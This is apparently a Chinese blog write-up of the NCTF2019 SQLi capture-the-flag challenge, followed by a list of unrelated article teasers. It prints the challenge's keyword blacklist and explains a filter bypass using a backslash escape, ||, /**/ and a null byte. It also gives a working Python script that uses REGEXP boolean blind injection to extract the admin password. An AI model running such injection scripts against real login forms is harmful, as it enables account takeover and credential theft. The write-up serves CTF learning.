[NCTF2019]SQLi regexp 盲注
/robots.txt

访问一下
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,Then you will get the flag;
这里实现了过滤
说需要admin的密码
这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过
所以我们通过passwd注入
or 使用 || 代替
然后空格使用 /**/代替
我们尝试登入

发现进行302跳转 但是没办法
所以还是要通过 查询admin passwd 进入
所以我们开始
写注入的代码 这里很多都被过滤了
但是放出了 ^和 regexp
正则
我们可以通过正则来读取
和下面的例子一样
select (select 'b') > (select 'abc') 这个时候会返回0select name regexp "^a" 这里的name是admin //我自己的数据库返回的是1

所以我们可以通过 布尔注入实现这道题的读取
import time
from urllib import parseimport requests
import stringbaseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'def add(flag):res=''res += flagreturn res
flag=''
ascii_chars = string.ascii_letters + string.digits + string.punctuation
print(ascii_chars)
for i in range(20):for j in ascii_chars:data = add(flag+j)paylaod1 = paylaod.format(data,parse.unquote('%00'))print(paylaod1)data={'username':'\\','passwd':paylaod1}re=requests.post(url=baseurl,data=data)if re.status_code == 429:time.sleep(0.5)if "welcome.php" in re.text:flag += jprint(flag)break
这里很坑 上面的 字符*的时候会循环输出
you*u*u*u
不知道是环境问题还是什么
所以我们现在替换
import time
from urllib import parseimport requests
import stringbaseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'def add(flag):res=''res += flagreturn res
flag=''
ascii_chars = string.ascii_letters+string.digits+"_"
for i in range(20):for j in ascii_chars:data = add(flag+j)paylaod1 = paylaod.format(data,parse.unquote('%00'))data={'username':'\\','passwd':paylaod1}re=requests.post(url=baseurl,data=data)if re.status_code == 429:time.sleep(0.5)if "welcome.php" in re.text:flag += jprint(flag)break
这个就可以爆出值了
you_will_never_know7788990
相关文章:
[NCTF2019]SQLi regexp 盲注
/robots.txt 访问一下 $black_list "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\|| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST[passwd] admi…...
通过webpack创建并打包js库到npm仓库
1.创建项目并进行基本配置 webpack配置文件: webpack.build.js const path require(path);module.exports {mode:development,entry:./src/webpack-numbers.js,output: {filename: webpack-numbers.js,path: path.resolve(__dirname, dist),clean: true,},}; p…...
【Java 进阶篇】深入了解JavaScript中的函数
函数是JavaScript编程中的核心概念之一。它们是可重用的代码块,可以帮助您组织和管理程序,使您的代码更具可读性和可维护性。在本篇博客中,我们将深入了解JavaScript中的函数,包括函数的基本语法、参数、返回值、作用域、闭包和高…...
谷歌 Chrome 浏览器正推进“追踪保护”功能
导读近日消息,根据国外科技媒体 Windows Latest 报道,谷歌计划在 Chrome 浏览器中推进“追踪保护”(Tracking Protection)功能,整合浏览器现有隐私功能,保护用户被网站跟踪。 根据一项 Chromium 提案&…...
Excel 自动提取某一列不重复值
IFERROR(INDEX($A$1:$A$14,MATCH(0,COUNTIF($C$1:C1,$A$1:$A$14),0)),"")注意:C1要空置,从C2输入公式 参考: https://blog.csdn.net/STR_Liang/article/details/105182654 https://zhuanlan.zhihu.com/p/55219017?utm_id0...
【TensorFlow2 之011】TF 如何使用数据增强提高模型性能?
一、说明 亮点:在这篇文章中,我们将展示数据增强技术作为提高模型性能的一种方式的好处。当我们没有足够的数据可供使用时,这种方法将非常有益。 教程概述: 无需数据增强的训练什么是数据增强?使用数据增强进行训练可视…...
Hadoop 安装教程 (Mac m1/m2版)
安装JDK1.8 这里最好是安装1.8版本的jdk 1. 进入官网Java Downloads | Oracle Hong Kong SAR, PRC,下滑到中间区域找到JDK8 2.选择mac os,下载ARM64 DMG Installer对应版本 注:这里下载需要注册oracle账号,不过很简单,只需要提供邮箱即可&…...
Docker - 网络模式与容器网络互连
前言 简单记录一下在Docker学习过程中,关于网络模式和容器网络互连的基本概念。 一、Docker的网络模式 (1)桥接模式:Docker会为每个容器创建一个虚拟网卡,并将这些虚拟网卡连接到一个虚拟交换机上,从而实…...
【基础篇】三、Flink集群角色、系统架构以及作业提交流程
文章目录 1、集群角色2、部署模式3、Flink系统架构3.1 作业管理器(JobManager)3.2 任务管理器(TaskManager) 4、独立部署会话模式下的作业提交流程5、Yarn部署的应用模式下作业提交流程 1、集群角色 Flink提交作业和执行任务&…...
第一个2DGodot游戏-从零开始-逐步解析
视频教程地址:https://www.bilibili.com/video/BV1Hw411v78Y/ 前言 大家好,这一集我将要带领大家完成官方文档里的第一个2DGodot游戏,从零开始,逐步解析,演示游戏的制作全过程,尽量让,就算是新…...
大数据学习(7)-hive文件格式总结
&&大数据学习&& 🔥系列专栏: 👑哲学语录: 承认自己的无知,乃是开启智慧的大门 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言📝支持一下博>主哦&#x…...
GRU的 电影评论情感分析 - python 深度学习 情感分类 计算机竞赛
1 前言 🔥学长分享优质竞赛项目,今天要分享的是 🚩 GRU的 电影评论情感分析 - python 深度学习 情感分类 🥇学长这里给一个题目综合评分(每项满分5分) 难度系数:3分工作量:3分创新点:4分 这…...
kafka简述
前言 在大数据高并发场景下,当系统中出现“生产“和“消费“的速度或稳定性等因素不一致的时候,就需要消息队列,作为抽象层,弥合双方的差异。一般选型是Kafka、RocketMQ,这源于这些中间件的高吞吐、可扩展以及可靠…...
《RISC-V体系结构编程与实践》的benos_payload程序——mysbi跳转到benos分析
1、benos_payload.bin结构分析 韦东山老师提供的开发文档里已经对程序的结构做了分析,这里不再赘述,下面是讨论mysbi跳转到benos的问题; 2、mysbi跳转到benos的代码 3、跳转产生的疑问 我认为mysbi.bin最后跳转到0x22000地址处执行࿰…...
ad5665r STM32 GD32 IIC驱动设计
本文涉及文档工程代码,下载地址如下 ad5665rSTM32GD32IIC驱动设计,驱动程序在AD公司提供例程上修改得到,IO模拟的方式进行IIC通信资源-CSDN文库 硬件设计 MCU采用STM32或者GD32,GD32基本上和STM32一样,针对ad566r的IIC时序操作是完全相同的. 原理图设计如下 与MC…...
TensorFlow入门(十六、识别模糊手写图片)
TensorFlow在图像识别方面,提供了多个开源的训练数据集,比如CIFAR-10数据集、FASHION MNIST数据集、MNIST数据集。 CIFAR-10数据集有10个种类,由6万个32x32像素的彩色图像组成,每个类有6千个图像。6万个图像包含5万个训练图像和1万个测试图像。 FASHION MNIST数据集由衣服、鞋子…...
CSwin Transformer 学习笔记
Cswin提出了上图中使用交叉形状局部attention,为了解决VIT模型中局部自注意力感受野进一步增长受限的问题,同时提出了局部增强位置编码模块,超越了Swin等模型,在多个任务上效果SOTA(当时的SOTA,已经被SG Fo…...
Linux上通过mysqldump命令实现自动备份
Linux上通过mysqldump命令实现自动备份 直接上代码 #!/bin/bash mysql_user"root" mysql_host"localhost" mysql_port"3306" mysql_charset"utf8mb4"backup_location/home/mysql/mysql_back/sql # 是否开始自动删除过期文件,过期时间…...
v-model与.sync的区别
我们在日常开发的过程中,v-model指令可谓是随处可见,一般来说 v-model 指令在表单及元素上创建双向数据绑定,但 v-model 本质是语法糖。但提到语法糖,这里就不得不提另一个与v-model有相似功能的双向绑定语法糖了,这就是 .sync修饰符。在这里就两者的使用进行一下比较和总结: …...
Linux---进程(1)
操作系统 传统的计算机系统资源分为硬件资源和软件资源。硬件资源包括中央处理器,存储器,输入设备,输出设备等物理设备;软件资源是以文件形式保存在存储器上的成熟和数据等信息。 操作系统就是计算机系统资源的管理者。 如果你的计…...
影刀RPA店群自动化实战:Python协同多实例隔离与高并发任务调度系统架构设计
大家好,我是林焱。 过去这几年,我一直扎根在电商自动化研发与系统交付的最前线。 看着许多电商团队从单机单店的“草莽时代”,一步步走向拼多多、TEMU、TikTok Shop 的矩阵化运营。 在这个过程中,大家在享受效率飞升红利的同时…...
用废旧材料制作发光机械鱼:Circuit Playground Express与MakeCode入门实践
1. 项目概述:当废旧材料遇见微控制器每次清理工作室,看着角落里堆满的包装盒、塑料瓶和旧电线,我总在想,除了扔掉,它们还能不能有第二次生命?直到我尝试将一块小小的微控制器塞进这些“垃圾”里,…...
【信息科学与工程学】【物理/化学科学和工程技术】知识体系 第四十一篇 数据中心基础设施领域中的力学知识 01
编号:001 类别 结构力学 (静力学与动力学) 领域 计算基础设施 / 机房设施 力学模型配方 将服务器机架简化为一个底部固定、顶部自由的悬臂梁模型。在地震激励下,该模型转化为一个单自由度阻尼受迫振动系统。主要考虑水平方向的地震力作用。 数学分析 通过建立运动微分…...
LangGraph入门:构建有状态的AI Agent工作流
LangGraph 入门:用状态图构建 Agent手写 ReAct 循环容易写出 bug。LangGraph 用「状态图」的方式定义 Agent,把每一步定义为一个节点,跳转逻辑定义为边——清晰、可测试、可扩展。一、为什么需要 LangGraph 手写 Agent 循环的痛点:…...
Codex 怎么详细科学地先出计划
本文聚焦一个非常关键的使用能力:让 Codex 在执行之前先出计划。很多人一上来就让 Codex 改代码、修 bug、做联动,结果不是方向偏了,就是改动过大、验证困难。先出计划的价值,不是多一个步骤,而是让复杂任务先被看清楚…...
Arm SVE指令集详解:条件选择与向量操作优化
1. SVE指令集概述与背景SVE(Scalable Vector Extension)是Arm架构中的可扩展向量指令集扩展,它为高性能计算和数据密集型应用提供了强大的并行处理能力。与传统SIMD指令集不同,SVE的最大特点是其向量长度不可知(Vector…...
Stream Deck与Arduino打造物联网信息看板:软硬云结合实战
1. 项目概述:打造你的专属物理信息看板如果你和我一样,是个桌面极客或者直播爱好者,那你对Elgato的Stream Deck一定不陌生。这个小玩意儿最初是为直播设计的,可以一键切换场景、播放音效,堪称效率神器。但它的潜力远不…...
告别龟速传输:在AutoDL上利用AutoPanel高效迁移大容量数据集的实战技巧
1. 为什么大容量数据集传输总是慢如蜗牛? 每次在AutoDL上处理大容量数据集时,最让人抓狂的就是漫长的传输等待。我清楚地记得第一次尝试上传15GB图像数据集时的绝望——整整6个小时的等待,期间还因为网络波动失败了两次。后来才发现ÿ…...
JDBC(四):Statement
Statement作用:执行sql1. 执行dml、ddlint excuteUpdate(sql)(1)dml,输出受影响行数(为正,执行成功;为负,执行失败)(2)ddl,可能输出0&…...
移动魔百盒CM101s刷机后体验:告别卡顿,解锁安装自由,这存储空间真香!
移动魔百盒CM101s焕新体验:从卡顿到流畅的全方位升级 每次打开电视都要忍受漫长的加载等待,存储空间不足导致无法安装新应用,系统自带功能单一无法满足全家需求——这或许是许多移动魔百盒CM101s用户的共同困扰。经过一周的深度使用测试&…...
